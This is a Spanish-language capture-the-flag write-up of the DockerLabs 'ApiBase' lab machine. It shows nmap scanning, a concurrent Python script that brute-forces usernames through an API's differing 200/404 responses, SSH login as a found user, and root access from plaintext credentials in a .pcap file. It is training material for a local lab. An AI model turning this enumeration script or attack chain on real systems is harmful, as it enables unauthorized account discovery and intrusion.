Skip to content

ApiBase

This content is not available in your language yet.

En este artículo documentamos la resolución completa de la máquina virtual ApiBase, creada por El Pingüino de Mario y etiquetada como fácil en la plataforma DockerLabs. El objetivo es presentar el proceso de forma reproducible y didáctica: explicar qué se hizo, por qué y qué buscar en cada etapa.

El proceso se divide en tres fases principales:

  1. Reconocimiento – Identificar servicios activos, rutas accesibles, y posibles vectores de ataque.
  2. Explotación – Aprovechar vulnerabilidades detectadas para conseguir acceso inicial.
  3. Escalada de privilegios – Obtener control total del sistema (root) y documentar cómo y por qué fue posible.

Nota: los comandos y scripts se ejecutaron contra una instancia local/privada de DockerLab. No ejecutes pruebas intrusivas en redes o servicios para los que no tengas permiso explícito.


  • Nombre: ApiBase
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 27/02/2025
  • Plataforma: DockerLabs

Paso 0 — Preparación, instalación y despliegue

Sección titulada «Paso 0 — Preparación, instalación y despliegue»
  1. Descargar la máquina desde el portal de DockerLabs.

  2. Descomprimir el paquete:

    Ventana de terminal
    unzip ApiBase.zip
  3. Desplegar la máquina (script de ejemplo proporcionado con la imagen):

    Ventana de terminal
    sudo bash auto_deploy.sh ApiBase.tar

Ese script crea y arranca un contenedor Docker que expone los servicios necesarios. Tras ejecutar el script, la instancia debe estar accesible y lista para el análisis.


Al iniciar el contenedor, la IP asignada suele mostrarse en la salida del script de despliegue. Anótala y configúrate un directorio de trabajo para mantener todo ordenado:

Ventana de terminal
mkdir -p ApiBase/{content,exploits,nmap,scripts}
cd ApiBase

Consejo: usar un árbol de trabajo ayuda a reproducir los pasos y compartir hallazgos más tarde (por ejemplo, para escribir el writeup).

IP asignada


Realizamos un port sweep completo con Nmap para detectar puertos TCP abiertos. Aquí usamos -Pn para evitar ping, -p- para todos los puertos, y un --min-rate alto para acelerar el escaneo en redes confiables:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Posteriormente extraemos los puertos con un script auxiliar (o con grep):

Ventana de terminal
# si tienes el script extractPorts
extractPorts allPorts

Puertos abiertos

Resultados relevantes: se detectaron los puertos 22 (SSH) y 5000 (servicio HTTP/REST). El puerto 5000 aloja una API web — un objetivo interesante para enumeración y explotación.


Accedimos al servicio en http://172.17.0.2:5000. La API ofrecía, al menos, dos endpoints:

  • POST /add — Permite agregar usuarios.
  • GET /users?username=<usuario> — Lista información del usuario por username.

webapi

Usamos una herramienta tipo cliente HTTP (por ejemplo, Bruno, Postman o curl) para inspeccionar behavior y respuestas:

  • Probamos POST /add con varios cuerpos JSON hasta obtener la respuesta de user added.
  • Confirmamos que GET /users?username=... devuelve información legible (HTML/JSON) si el usuario existe, y 404 si no.

bruno add

Observación: si una API revela distintos códigos de estado según la existencia del recurso (200 vs 404), se puede abusar de ello para enumerar usuarios mediante fuerza bruta.


2.2 Automatización de enumeración de usuarios (fuerza bruta)

Sección titulada «2.2 Automatización de enumeración de usuarios (fuerza bruta)»

Para automatizar la búsqueda de usuarios, desarrollamos un script en Python que realiza peticiones concurrentes al endpoint /users. A continuación incluyo una versión mejorada del script original:

  • evita crear archivos adicionales,
  • muestra únicamente intentos útiles (no-404),
  • maneja timeouts, reintentos básicos y límite de concurrencia,
  • muestra un resumen y tiempo de ejecución.
enum_users_fast.py
import http.client
from urllib.parse import quote_plus
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
import argparse
HOST = "172.17.0.2"
PORT = 5000
ENDPOINT = "/users"
BODY_PREVIEW = 200 # caracteres máximos mostrados del body
def check_user(host, port, endpoint, username, timeout=8, retries=1):
"""Consulta /users?username=<username>. Devuelve (username, status, body)"""
username_q = quote_plus(username)
path = f"{endpoint}?username={username_q}"
for attempt in range(retries + 1):
conn = http.client.HTTPConnection(f"{host}:{port}", timeout=timeout)
try:
conn.request("GET", path)
res = conn.getresponse()
body = res.read().decode("utf-8", errors="replace")
return username, res.status, body
except Exception as e:
last_exc = e
# reintentar si quedan intentos
finally:
try:
conn.close()
except:
pass
return username, None, f"Error: {last_exc}"
def main(args):
# cargar wordlist
with open(args.input_file, "r", encoding=args.encoding, errors="ignore") as f:
users = [line.strip() for line in f if line.strip()]
print(f"[*] Cargando {len(users)} usuarios desde {args.input_file}...")
total = 0
useful = 0
start = time.time()
with ThreadPoolExecutor(max_workers=args.max_workers) as executor:
futures = {executor.submit(check_user, HOST, PORT, ENDPOINT, u, args.timeout, args.retries): u for u in users}
for future in as_completed(futures):
total += 1
username, status, body = future.result()
# sólo mostramos respuestas útiles (no-404 y status presente)
if status is not None and status != 404:
useful += 1
preview = body[:BODY_PREVIEW] + ("..." if len(body) > BODY_PREVIEW else "")
print(f"[ÚTIL] {username} -> {status}")
print(preview)
print("-" * 60)
# avance simple por consola
if total % 100 == 0:
elapsed = time.time() - start
print(f"[+] Progresso: {total}/{len(users)} (tiempo: {elapsed:.1f}s)")
elapsed = time.time() - start
print(f"\nResumen: probados = {total}, útiles (no-404) = {useful}, tiempo = {elapsed:.2f}s")
if __name__ == "__main__":
p = argparse.ArgumentParser(description="Enumera usuarios via /users?username= on ApiBase")
p.add_argument("--input-file", default="/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt")
p.add_argument("--max-workers", type=int, default=20)
p.add_argument("--timeout", type=int, default=8)
p.add_argument("--retries", type=int, default=1)
p.add_argument("--encoding", default="latin-1")
args = p.parse_args()
main(args)

Puntos a destacar del script mejorado:

  • argparse permite ajustar la wordlist, concurrencia y timeouts sin editar el código.
  • Se ignoraron las respuestas 404 y sólo se muestran los resultados útiles, tal como pediste.
  • Implementa reintentos simples y un progreso básico para no perder visibilidad del avance.
  • No genera archivos temporales: todo sale por consola.

Ejecutamos el script y obtuvimos varios usuarios válidos (capturas):

resultado script


2.3 Ingreso por SSH con credenciales enumeradas

Sección titulada «2.3 Ingreso por SSH con credenciales enumeradas»

Con al menos un usuario válido (Pingu) identificado, intentamos autenticación por SSH. Si la máquina usa credenciales débiles o contraseñas recolectadas (en este CTF había un conjunto de credenciales válidas), se puede obtener acceso:

ssh logrado

Con esto conseguimos una sesión de usuario no privilegiado (Pingu).

Nota: en entornos reales, usar técnicas de fuerza bruta y acceso sin autorización es ilegal. En CTFs y laboratorios, está permitido siempre que la plataforma lo autorice.


Una vez dentro como Pingu, realizamos un listado y enumeración básica del sistema:

  • sudo -l no estaba disponible (o no daba permisos).
  • No se encontraron binarios con bit SUID evidentes.
  • Hicimos búsqueda de archivos interesantes: scripts, copias de seguridad, y capturas de red.

Se identificó un archivo .pcap (captura de tráfico) accesible por el usuario. La apertura del .pcap con Wireshark/tshark reveló credenciales en texto plano dentro de la captura.

ls pcap

En la captura apareció una contraseña usable para la cuenta root. Con esa contraseña pudimos iniciar sesión como root:

Root


Resumen de la cadena de explotación:

  1. Servicio HTTP en puerto 5000 con endpoints que diferenciaban respuestas entre usuario existente y no existente.
  2. Enumeración de usuarios mediante fuerza bruta (script concurrente) hasta encontrar uno válido (Pingu).
  3. Acceso por SSH con credenciales obtenidas o probadas.
  4. Enumeración local del sistema que reveló una captura de red (.pcap) conteniendo credenciales en texto plano.
  5. Autenticación como root con la contraseña encontrada en la captura.